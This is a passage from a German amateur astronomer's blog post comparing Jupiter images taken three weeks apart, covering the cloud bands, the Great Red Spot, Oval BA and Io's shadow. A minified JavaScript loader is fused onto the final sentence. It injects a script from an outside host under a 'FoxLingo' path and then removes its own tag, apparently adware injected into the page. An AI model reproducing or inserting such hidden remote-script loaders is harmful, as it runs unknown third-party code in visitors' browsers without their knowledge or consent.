wird auf verschiedenen Bildern der letzten Wochen sichtbar. Auch das Oval "BA", das mir vor zwei Jahren das erste Mal als "kleiner roter Fleck" auf meinen Bildern auffiel, gibt sich wieder die Ehre. Vor drei Wochen konnte ich bei guten Bedingungen Jupiter mit seinen Wolkenstrukturen sehr gut abbilden. Eine ähnliche, wenn nicht bessere Qualität glückte mir am morgen des 7.9.2012. Die Bilder für einen Vergleich sind also nur etwa drei Wochen auseinander.

Dabei zeigt sich, dass sich die "Dreiecke" im nördlichen Band langsam wieder auflösen. Auch die dunklen Strukturen im Äquatorband differenzierten sich weiter aus. Dabei blieb aber die orange Tönung und Breite des nördlichen Wolkenbandes erhalten und zeigt sich mit vielen einzelnen Wirbeln. Das südliche Band zeigt sich weiterhin mit drei verschieden farbigen Bändern. Der Große Rote Fleck trägt in sich verschiedene Verdichtungen. Visuell machte es fast den Eindruck, als löse er sich auf. Gleich unterhalb hat nun der "kleine rote Fleck" seine Position eingenommen. Er bewegt sich etwas schneller als der große Bruder und wird ihn in den nächsten Wochen wieder "überholen". Die chaotische Struktur um diese beiden Wirbelstürme hat sich völlig verändert. Weiter im Süden zeigen sich einige Verdichtungen wie schon vor drei Wochen.

Der Mond, auf dem leichte Oberflächendetails zu sehen sind, ist Io. Sein Schatten wanderte im Laufe der Beobachtung auf die Planetenscheibe.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();